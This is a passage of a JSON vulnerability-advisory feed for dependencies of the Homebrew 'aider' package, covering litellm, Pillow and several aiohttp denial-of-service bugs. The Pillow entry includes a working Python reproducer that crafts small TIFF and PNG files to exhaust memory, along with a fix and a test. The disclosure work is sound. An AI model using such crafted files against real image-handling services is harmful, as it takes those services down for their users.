disclosure.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-12799"},{"type":"WEB","url":"https://gist.github.com/YLChen-007/3ace22e33e468d0166fe609c9fdf4184"},{"type":"PACKAGE","url":"https://github.com/BerriAI/litellm"},{"type":"WEB","url":"https://vuldb.com/cve/CVE-2026-12799"},{"type":"WEB","url":"https://vuldb.com/submit/811291"},{"type":"WEB","url":"https://vuldb.com/vuln/372561"},{"type":"WEB","url":"https://vuldb.com/vuln/372561/cti"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-128066","published":"2026-11-13T09:52:51Z","modified":"2026-11-13T09:52:51Z","upstream":["GHSA-wqgw-9xfh-qf2g","CVE-2026-128066"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.86.1_1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"13.0.0","resource":"pillow","resource_purl":"pkg:pypi/pillow@12.1.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"pillow","subject_version":"12.1.1","key":"pkg:pypi/pillow@12.1.1","resource":"pillow"}]},"summary":"Pillow: Memory DoS in TIFF and EXIF IFD parsing via overlapping tag data","details":"```\n============================================================================\nANT-2026-D7STJUWL  [medium]  CWE-770  dos\nMemory DoS in TIFF and EXIF IFD parsing via overlapping tag data\nLocation: src/PIL/TiffImagePlugin.py:927  in ImageFileDirectory_v2.load()\nCommit:   a707c6b21c313880d0771e54965d142dd42358b6\n============================================================================\n```\n\nA small, crafted image file can make Pillow use thousands of times its own size in memory while the file is only being opened, which lets anyone who can submit an image crash or stall the process handling it. A 144 KB TIFF makes `Image.open()` return normally while holding 1.6 GiB of memory. The largest such standard TIFF, about 786 KB, asks for roughly 48 GiB, which in practice gets the worker killed by the operating system. The file declares a 1×1 image, so the decompression-bomb check never triggers and no warning is raised. There is no memory corruption; the impact is denial of service.\n\nThe bug is in `ImageFileDirectory_v2.load()` in `src/PIL/TiffImagePlugin.py` (around line 927). For every directory entry whose value is stored elsewhere in the file, it reads that value into a new `bytes` object with `ImageFile._safe_read(fp, count * unit_size)` and keeps it in `_tagdata`. `_safe_read()` only checks that the bytes exist. Nothing limits the total read across entries, and nothing stops every entry from pointing at the same bytes. An attacker can therefore give each of N distinct private tags an offset and count that covers the whole file, at a cost of 12 bytes per entry. Memory grows as N × file size, which is quadratic in the file size, and BigTIFF removes the 65,535-entry ceiling.\n\nThe same loop parses EXIF data, so the problem reaches beyond TIFF:\n\n* A 66 KB JPEG APP1 segment costs about 340 MiB inside `Image.open()` itself, via `_read_dpi_from_exif()`.\n* A 96 KB PNG `eXIf` chunk costs 754 MiB on `getexif()` or `ImageOps.exif_transpose()`.\n* WebP EXIF and MPO reach the same code.\n\nThe attached reproducer builds a 72 KB TIFF and a 72 KB PNG. Using only `Image.open()` and `getexif()`, each causes 412 MiB of tag data to be retained, about 6,000 times the file size. The loop dates to the original PIL 1.1.7 import, so every Pillow release since 1.0 is affected.\n\n## Details\n\n`TiffImagePlugin.ImageFileDirectory_v2.load()` reads the out-of-line value of every IFD entry into its own `bytes` object and keeps it in `self._tagdata`. Nothing bounds the sum of those reads, and nothing prevents every entry from pointing at the same region of the file. An IFD with N entries whose `(offset, count)` each cover the whole file therefore costs N × filesize bytes of memory, while the IFD itself costs only 12 bytes per entry. This one loop is the IFD parser for TIFF frames and for `Image.Exif` alike, so it is reachable from `Image.open()` on a TIFF or JPEG and from `getexif()` / `ImageOps.exif_transpose()` on PNG, JPEG, WebP and MPO.\n\nObserved on the stock build at this commit: a valid 144,110-byte 1×1 greyscale TIFF with 12,000 such entries makes `Image.open()` return normally (no exception, no warning, 1 declared pixel so `MAX_IMAGE_PIXELS` is irrelevant) after 1.5 s, with the process RSS grown from 15 MiB to 1,671 MiB and `im.tag_v2` holding 1,649 MiB of tag data for as long as the image object lives. The same IFD placed in the `eXIf` chunk of a 96 KB PNG makes `im.getexif()` retain 754 MiB. A 65,870-byte JPEG whose APP1 `Exif` segment is such an IFD (5,400 entries × 65,519 bytes) allocates ~340 MiB inside `Image.open()` itself, with no further call.\n\n```python\n# src/PIL/TiffImagePlugin.py:902-946  (ImageFileDirectory_v2.load)\nfor i in range(tag_count):\n    tag, typ, count, data = ( … self._unpack(\"HHL4s\", self._ensure_read(fp, 12)))\n    …\n    size = count * unit_size                         # 918: attacker-chosen\n    if size > (8 if self._bigtiff else 4):\n        here = fp.tell()\n        (offset,) = self._unpack(\"Q\" if self._bigtiff else \"L\", data)\n        …\n        fp.seek(offset)                              # 926: attacker-chosen\n        data = ImageFile._safe_read(fp, size)        # 927: new bytes object of `size`\n        fp.seek(here)\n    …\n    self._tagdata[tag] = data                        # 945: kept\n    self.tagtype[tag] = typ\n```\n\n`ImageFile._safe_read()` only guarantees that `size` bytes are actually present in the stream (it reads in `SAFEBLOCK` chunks and raises on truncation); it is a guard against allocating for data that does not exist, not against reading the same existing data many times. For a well-formed file each entry points at its own disjoint value, so the total read is at most the file size. For the crafted file every one of the N entries has a distinct tag number (so none overwrites another in `_tagdata`), type BYTE, `count = filesize - 1` and `offset = 1`; each iteration allocates and fills a fresh `filesize - 1`-byte object and stores it. `load()` does not care whether the tag number is known or whether the type makes sense for it; any 16-bit tag number and any type in `_load_dispatch` is accepted. Memory is `N × filesize`, and since `filesize ≈ 12 N`, it is quadratic in the file size: 12,000 entries / 144 KB → 1.6 GiB (measured); the classic-TIFF maximum of 65,535 entries / 786 KB → ~48 GiB; BigTIFF (`tag_count` is a `Q`) has no 16-bit entry limit at all.\n\nReachability:\n\n- TIFF: `TiffImageFile._open()` (`TiffImagePlugin.py:1187`) → `self._seek(0)` (`:1210`) → `self.tag_v2.load(self.fp)` (`:1258`, and again at `:1271`). This runs inside `Image.open()`, before `load()` and before any size check (`_decompression_bomb_check` only looks at `width × height` and is satisfied by the 1×1 image), and the resulting directory stays referenced as `im.tag_v2`. `_seek()` parses the IFD twice, but `reset()` drops the first copy, so the peak does not double; it is paid again for every frame on `seek()`/`n_frames`.\n- EXIF in other formats: `Image.Exif.load()` / `load_from_fp()` / `_get_ifd_dict()` (`Image.py:4146-4196`, `:4119-4133`) wrap the same `ImageFileDirectory_v2.load()` around the EXIF blob. `PngImagePlugin.chunk_eXIf` (`PngImagePlugin.py:697`) stores the whole chunk as `info[\"exif\"]`, `JpegImagePlugin` concatenates APP1 `Exif` segments into `info[\"exif\"]` (`JpegImagePlugin.py:114-117`), and WebP exposes its EXIF chunk the same way; `im.getexif()`, `ImageOps.exif_transpose()` and `_getexif()` then parse it and keep the values in `im._exif`. For JPEG no explicit call is needed: `JpegImageFile._open()` ends with `self._read_dpi_from_exif()` (`JpegImagePlugin.py:413`), which calls `getexif()` whenever no JFIF DPI is present, so the APP1 IFD is parsed during `Image.open()`. Note that an EXIF blob is parsed into several IFDs (main, EXIF, GPS, Interop via `_get_ifd_dict`), each through its own `load()` call.\n\nThe only failure path in `load()` is `except OSError` → warning; running out of memory is not an `OSError`, so on Linux the realistic outcome for a larger N is the kernel OOM killer terminating the process rather than a Python exception.\n\nThe loop predates Pillow: it came in with the PIL 1.1.7 import in `9a640e315715` (\"Forking PIL\", 2010-07-30) and was carried over unchanged into `ImageFileDirectory_v2`, so every release since 1.0 is affected. The per-tag `_safe_read` bounding added in the CVE-2019-16865 era does not address the sum.\n\n## Impact\n\nAny service that calls `Image.open()` on an uploaded TIFF or JPEG — or `getexif()` / `ImageOps.exif_transpose()` on an uploaded PNG, JPEG or WebP, which thumbnailers routinely do to honour orientation — can be made to allocate and retain memory roughly `entries × filesize`, i.e. thousands of times the upload size, from a file of a few hundred KB that declares a 1×1 image and passes the decompression-bomb check. A ~800 KB TIFF requests ~48 GiB; in practice the worker (or its container) is OOM-killed within seconds, taking down all requests it was serving, and repeated uploads keep it down. No pixel decoding, `load()`, or further API call is required for the TIFF and JPEG cases, `MAX_IMAGE_PIXELS` does not apply, and no `DecompressionBomb*` warning gives the application a chance to refuse the file. There is no memory corruption; the effect is denial of service of the process handling the input.\n\nThis is the same class as CVE-2021-27921/27922/27923 (BLP/ICNS/ICO \"arbitrarily large memory allocations\" from unchecked reported sizes, fixed in 8.1.2) and CVE-2021-28675 (PSD layer count not checked against the data size, DoS on `Image.open()` prior to `load()`), here in the TIFF/EXIF directory parser shared by several formats.\n\n## Reproducing\n\n`repro` is a single Python script that runs against the stock Pillow in `/src`; nothing is compiled. It needs about 1 GB of free RAM (it caps its own address space at 4 GiB so that a larger run ends in `MemoryError` rather than the OOM killer).\n\n**Input.** `aliased_ifd()` builds, in memory, a little-endian classic TIFF: an 8-byte header, one IFD, nothing else. Every crafted entry is a private tag (1000 upwards) of type BYTE with `offset = 1` and `count = file size - 1`, i.e. each claims the whole file body as its value. Each costs 12 bytes in the file but a full file-sized read in `ImageFileDirectory_v2.load()`.\n\n**TIFF path.** The first file adds 8 ordinary tags (ImageWidth = ImageLength = 1, BitsPerSample = 8, no compression, BlackIsZero, one 1-byte strip pointing at a header byte) so that Pillow accepts it as a 1×1 `L` image, plus 6,000 aliased tags (72,110 bytes). Because the image is 1×1, `MAX_IMAGE_PIXELS` never comes into play. The script calls `Image.open()` on it and nothing else: no `load()`, no pixel access.\n\n**EXIF path.** The same 6,000-entry IFD (without the image tags) is passed as `exif=` when saving a 1×1 PNG, so it lands in an `eXIf` chunk; the script opens that PNG and calls `im.getexif()`, which is what `ImageOps.exif_transpose()` calls.\n\n**Check.** For each path the script reads `VmRSS` from `/proc/self/status` before and after, and adds up `len()` over the resulting directory's `_tagdata`. In a well-formed IFD each entry points at its own bytes, so the tag data can never be larger than the file. The script prints `BUG` if both the TIFF's `im.tag_v2` and the PNG's EXIF directory hold more than 2000× the size of their file, otherwise `OK`. On this commit each holds 412 MiB (~6000× the file) and RSS grows by about as much for each.\n\nThe memory cost is entries × file size, and the file size itself grows at 12 bytes per entry, so the cost is quadratic: doubling to 12,000 entries (144 KB) gives the 1.6 GiB quoted above, and the classic-TIFF maximum of 65,535 entries (~786 KB file) comes to ~48 GiB. A JPEG APP1 segment or a WebP EXIF chunk carrying the same IFD behaves like the PNG case (for JPEG, already during `Image.open()`).\n\n## Suggested fix\n\nThe attached patch bounds the out-of-line tag data a single `ImageFileDirectory_v2.load()` call may pull in by the length of the stream it reads from. The values of a well-formed IFD do not overlap, so their total can never exceed the file; only aliased entries can push past it. `load()` now measures the stream once on entry (`fp.seek(0, io.SEEK_END)`, then back to `self._offset`; `load()` already requires a seekable `fp`, since both the TIFF plugin and `Exif` do), keeps a running `total_size` of out-of-line values, and, before the `fp.seek(offset)` / `_safe_read()` at `TiffImagePlugin.py:926-927`, warns `\"Tag data larger than file. Skipping tag …\"` and `continue`s for any entry that would take the total past the file size, in the same warn-and-skip idiom as the existing \"Tag offset too large\" check. No fixed constant is introduced and no valid file changes behaviour, including TIFFs with very large Photoshop/ImageSourceData (tag 37724) payloads, which routinely exceed 64 MB. Because `Image.Exif`, the PNG/JPEG/WebP EXIF paths and MPO all go through this one method, they are covered too. The patch adds `test_tag_data_larger_than_file` to `Tests/test_file_tiff_metadata.py`, next to `test_tag_offset`. With it applied, both paths in the reproducer drop to 1× the file size. One visible side effect: a single oversize entry now skips that tag with this warning instead of aborting the rest of the IFD via the `OSError` path.\n\nA fixed module-level cap in the style of `PngImagePlugin.MAX_TEXT_MEMORY` (e.g. a 64 MiB `TiffImagePlugin.MAX_IFD_DATA`) would be the weaker alternative on its own: a 140 KB file could still retain ~63 MiB per IFD — and a JPEG's EXIF is parsed into several IFDs (main, EXIF, GPS, Interop), so a 66 KB APP1 segment could still request roughly 1000× its size — and legitimate TIFFs with more than 64 MiB of tag data would lose those tags with a warning. It could still be added on top of the stream-length check as a user-adjustable knob.\n\nAn alternative that removes the amplification entirely is to store `(offset, size)` in `_tagdata` and read lazily in `__getitem__`, which is what the class docstring already describes (\"we don't decode tags unless they're asked for\"); that is a larger change because `_tagdata` is shared with `ImageFileDirectory_v1` (`from_v2`/`to_v2`) and exposed as the legacy `tagdata` property, and lazy reads would need the file object to still be open when a tag is first accessed.\n\n## The patch\n\nSkip IFD entries once the total out-of-line tag data read by ImageFileDirectory_v2.load() would exceed the size of the stream\n\nApplies to `src/PIL/TiffImagePlugin.py` at the commit above.\n\n```diff\ndiff --git a/Tests/test_file_tiff_metadata.py b/Tests/test_file_tiff_metadata.py\nindex 7b35a0196..ccf923128 100644\n--- a/Tests/test_file_tiff_metadata.py\n+++ b/Tests/test_file_tiff_metadata.py\n@@ -500,6 +500,21 @@ def test_tag_offset() -> None:\n         ifd.load(f)\n \n \n+def test_tag_data_larger_than_file() -> None:\n+    ifd = TiffImagePlugin.ImageFileDirectory_v2()\n+\n+    # Two BYTE tags that both claim the whole 30 byte IFD as their value\n+    tag_count = struct.pack(\"<H\", 2)\n+    tags = struct.pack(\"<HHLL\", 0, 1, 30, 0) + struct.pack(\"<HHLL\", 1, 1, 30, 0)\n+    next_offset = struct.pack(\"<L\", 0)\n+\n+    f = io.BytesIO(tag_count + tags + next_offset)\n+    with pytest.warns(UserWarning, match=\"Tag data larger than file\"):\n+        ifd.load(f)\n+    assert len(ifd[0]) == 30\n+    assert 1 not in ifd\n+\n+\n def test_tag_group_data() -> None:\n     base_ifd = TiffImagePlugin.ImageFileDirectory_v2()\n     interop_ifd = TiffImagePlugin.ImageFileDirectory_v2(group=40965)\ndiff --git a/src/PIL/TiffImagePlugin.py b/src/PIL/TiffImagePlugin.py\nindex 42c1cc96c..c9d506933 100644\n--- a/src/PIL/TiffImagePlugin.py\n+++ b/src/PIL/TiffImagePlugin.py\n@@ -892,6 +892,9 @@ class ImageFileDirectory_v2(_IFDv2Base):\n     def load(self, fp: IO[bytes]) -> None:\n         self.reset()\n         self._offset = fp.tell()\n+        fp.seek(0, io.SEEK_END)\n+        file_size = fp.tell()\n+        fp.seek(self._offset)\n \n         try:\n             tag_count = (\n@@ -899,6 +902,7 @@ class ImageFileDirectory_v2(_IFDv2Base):\n                 if self._bigtiff\n                 else self._unpack(\"H\", self._ensure_read(fp, 2))\n             )[0]\n+            total_size = 0\n             for i in range(tag_count):\n                 tag, typ, count, data = (\n                     self._unpack(\"HHQ8s\", self._ensure_read(fp, 20))\n@@ -923,6 +927,16 @@ class ImageFileDirectory_v2(_IFDv2Base):\n                     if offset >= 2**63:\n                         warnings.warn(\"Tag offset too large\")\n                         continue\n+                    # The values of a well-formed IFD do not overlap, so in\n+                    # total they cannot be larger than the file they are read\n+                    # from. Do not let entries that alias the same bytes load\n+                    # many copies of it.\n+                    total_size += size\n+                    if total_size > file_size:\n+                        warnings.warn(\n+                            f\"Tag data larger than file. Skipping tag {tag}\"\n+                        )\n+                        continue\n                     fp.seek(offset)\n                     data = ImageFile._safe_read(fp, size)\n                     fp.seek(here)\n```\n\n## The reproducer\n\n<details>\n<summary>Reproducer — <code>repro</code>, 2,254 bytes (click to open)</summary>\n\nIts last line is `BUG` when the issue triggers and `OK` when it does not. Re-run on a clean build of that commit it printed `BUG`.\n\n```python\n#!/usr/bin/env python3\n# ImageFileDirectory_v2.load(): N IFD entries that all alias the file body make\n# Image.open() (TIFF) and getexif() (PNG eXIf etc.) retain ~N copies of the file.\n# Pure Python, stock Pillow in /src. Needs ~1 GB RAM, runs in ~1 s.\nimport io, struct, resource\nfrom PIL import Image\nresource.setrlimit(resource.RLIMIT_AS, (4 << 30, 4 << 30))  # MemoryError, not OOM-killer\n\ndef aliased_ifd(n_alias, real=()):\n    \"\"\"Classic LE TIFF: header + one IFD. n_alias BYTE tags each cover the whole file.\"\"\"\n    n = len(real) + n_alias\n    size = 8 + 2 + 12 * n + 4\n    ents = {t: struct.pack(\"<HHLL\", t, typ, 1, v) for t, (typ, v) in dict(real).items()}\n    for t in range(1000, 1000 + n_alias):\n        ents[t] = struct.pack(\"<HHLL\", t, 1, size - 1, 1)      # BYTE[size-1] @ offset 1\n    blob = b\"II*\\0\" + struct.pack(\"<LH\", 8, n) + b\"\".join(ents[t] for t in sorted(ents)) + b\"\\0\" * 4\n    assert len(blob) == size\n    return blob\n\ndef rss():\n    return next(int(l.split()[1]) << 10 for l in open(\"/proc/self/status\") if l.startswith(\"VmRSS\"))\n\n# 1) TIFF: 1x1 L image (pixel = a header byte) + 6000 aliased private tags -> Image.open() only\nreal = {256: (3, 1), 257: (3, 1), 258: (3, 8), 259: (3, 1), 262: (3, 1),\n        273: (4, 8), 278: (3, 1), 279: (4, 1)}\ntif = aliased_ifd(6000, real)\nr0 = rss(); im = Image.open(io.BytesIO(tif)); r1 = rss()\nheld_t = sum(len(v) for v in im.tag_v2._tagdata.values())\nprint(f\"TIFF {len(tif)} B, {im.size} {im.mode}: Image.open() keeps {held_t >> 20} MiB of tag data \"\n      f\"({held_t // len(tif)}x file); RSS {r0 >> 20} -> {r1 >> 20} MiB\")\n\n# 2) Same IFD as EXIF in a 1x1 PNG -> im.getexif() (what ImageOps.exif_transpose calls)\nexif = aliased_ifd(6000)\nbuf = io.BytesIO(); Image.new(\"L\", (1, 1)).save(buf, \"PNG\", exif=exif); png = buf.getvalue()\nr0 = rss(); im2 = Image.open(io.BytesIO(png)); e = im2.getexif(); r1 = rss()\nheld_e = sum(len(v) for v in e._info._tagdata.values()) if e._info is not None else 0\nprint(f\"PNG  {len(png)} B: getexif() keeps {held_e >> 20} MiB ({held_e // len(png)}x file); \"\n      f\"RSS {r0 >> 20} -> {r1 >> 20} MiB\")\n\n# A well-formed IFD's values cannot exceed the stream they come from (1x).\nprint(\"BUG\" if held_t > 2000 * len(tif) and held_e > 2000 * len(png) else \"OK\")\n```\n</details>\n\n---","references":[{"type":"WEB","url":"https://github.com/python-pillow/Pillow/security/advisories/GHSA-wqgw-9xfh-qf2g"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/commit/4908edaf7f416616784c7c03d8c1a60153710ffb"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/commit/4b63dffd8a6d980fa0e21b40832fa6cbf033eacf"},{"type":"PACKAGE","url":"https://github.com/python-pillow/Pillow"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/releases/tag/13.0.0"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-128124","published":"2026-11-17T09:52:37Z","modified":"2026-11-17T09:52:37Z","upstream":["GHSA-jm3w-gw2p-xjfj","CVE-2026-128124"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.14.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.13.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.13.3","key":"pkg:pypi/aiohttp@3.13.3","resource":"aiohttp"}]},"summary":"AIOHTTP: Event loop stall in add_domain() wildcard matching","details":"### Summary\n\n`Application.add_domain()` compiled each `*` in a host mask to `[^:]*`. With two or more wildcards in a mask, matching a long `Host` header that does not match the mask took polynomial time on the event loop.\n\n### Impact\n\nAn attacker could stall a server that registers a domain mask with more than one wildcard by sending requests with a long `Host` header.\n\n### Workaround\n\nUse at most one `*` in a domain mask.\n\n---\n\nPatch: https://github.com/aio-libs/aiohttp/commit/c6ac0e44c3c573ff9616f4a6a532992538b31e43","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-jm3w-gw2p-xjfj"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-128124"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/13943"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/13945"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/766b882820da0651c84090e366a3b024b4a263c9"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/c6ac0e44c3c573ff9616f4a6a532992538b31e43"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.14.4"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-128125","published":"2026-11-17T09:52:37Z","modified":"2026-11-17T09:52:37Z","upstream":["GHSA-5pv8-vvhc-h7jv","CVE-2026-128125"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.14.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.13.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.13.3","key":"pkg:pypi/aiohttp@3.13.3","resource":"aiohttp"}]},"summary":"AIOHTTP: Unbounded cookie storage in client CookieJar","details":"### Summary\n\n`Set-Cookie` parsing created additional cookies from unrecognised `name=value` attributes, and `CookieJar` had no limit on the number of cookies stored or sent. A server could make the client store a very large number of cookies and generate very large `Cookie` headers.\n\n### Impact\n\nA malicious server could cause excessive memory and CPU use in a client, repeated on every redirect, and cause later requests to the same domain to build an excessively large `Cookie` header.\n\n---\n\nPatch: https://github.com/aio-libs/aiohttp/commit/6963ee0befec1502b6bb7b4db6c72d044c08f4fa","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-5pv8-vvhc-h7jv"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-128125"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/13930"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/13942"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/6963ee0befec1502b6bb7b4db6c72d044c08f4fa"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/b1f6c87b2bd3bd80f2b6c22ff46e11d00921e412"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.14.4"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-128126","published":"2026-11-17T09:52:37Z","modified":"2026-11-17T09:52:37Z","upstream":["GHSA-xgw8-8ccx-rmqh","CVE-2026-128126"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.14.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.13.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.13.3","key":"pkg:pypi/aiohttp@3.13.3","resource":"aiohttp"}]},"summary":"AIOHTTP: Too many URL-encoded form fields block the event loop","details":"### Summary\n\n`Request.post()` had no limit on the number of fields in a URL-encoded form body. Inserting a large number of repeated keys into a `MultiDict` took quadratic time on the event loop.\n\n### Impact\n\nAn attacker could block the event loop with a form POST within the default `client_max_size` to any handler that calls `Request.post()`.\n\n---\n\nPatch: https://github.com/aio-libs/aiohttp/commit/615fec3d4f088f30d2ee72cad760152e92aa1c53","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-xgw8-8ccx-rmqh"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-128126"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/13738"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/13741"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/615fec3d4f088f30d2ee72cad760152e92aa1c53"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/8b0100572936df28977b9de8a6cc7e464c0b521e"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.14.4"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-128127","published":"2026-11-17T09:52:37Z","modified":"2026-11-17T09:52:37Z","upstream":["GHSA-24c4-3p7v-29cm","CVE-2026-128127"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.14.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.13.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.13.3","key":"pkg:pypi/aiohttp@3.13.3","resource":"aiohttp"}]},"summary":"AIOHTTP: Base64 multipart parts bypass client_max_size","details":"### Summary\n\nWhen reading a multipart part with `Content-Transfer-Encoding: base64`, `BodyPartReader.read_chunk()` kept reading until the chunk length was a multiple of 4, with no byte limit. A part with a short `Content-Length`, or a long run of whitespace, could cause the entire remaining body to be read into memory within a single call before any size check, or spin on the event loop.\n\n### Impact\n\nAn attacker could bypass `client_max_size` to cause excessive memory use, or block the event loop, with a specially crafted multipart request to any handler that reads multipart data.\n\n---\n\nPatch: https://github.com/aio-libs/aiohttp/commit/a555ab698e08e9baea7386d5b4c0761cb8956fdd","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-24c4-3p7v-29cm"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-128127"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/13509"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/13513"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/2d9c5c1062eff0034fb3ab120897a6c1b3ff7041"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/a555ab698e08e9baea7386d5b4c0761cb8956fdd"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.14.4"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-128128","published":"2026-11-17T09:52:37Z","modified":"2026-11-17T09:52:37Z","upstream":["GHSA-3rp8-rxj8-mvjw","CVE-2026-128128"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.14.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.13.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.13.3","key":"pkg:pypi/aiohttp@3.13.3","resource":"aiohttp"}]},"summary":"AIOHTTP: WebSocket max_msg_size bypass via integer overflow","details":"### Summary\n\nThe `max_msg_size` check in the WebSocket reader added the declared frame length to the size of the partial message already buffered. In the C extension this addition is 64-bit arithmetic, so a declared length close to 2**63 overflowed and the check passed.\n\n### Impact\n\nAn attacker could bypass `max_msg_size` and cause unbounded memory use by streaming an oversized WebSocket message after a small non-final fragment.\n\n### Workaround\n\nIf unable to upgrade, the Python reader is unaffected and can be used with `AIOHTTP_NO_EXTENSIONS=1`.\n\n---\n\nPatch: 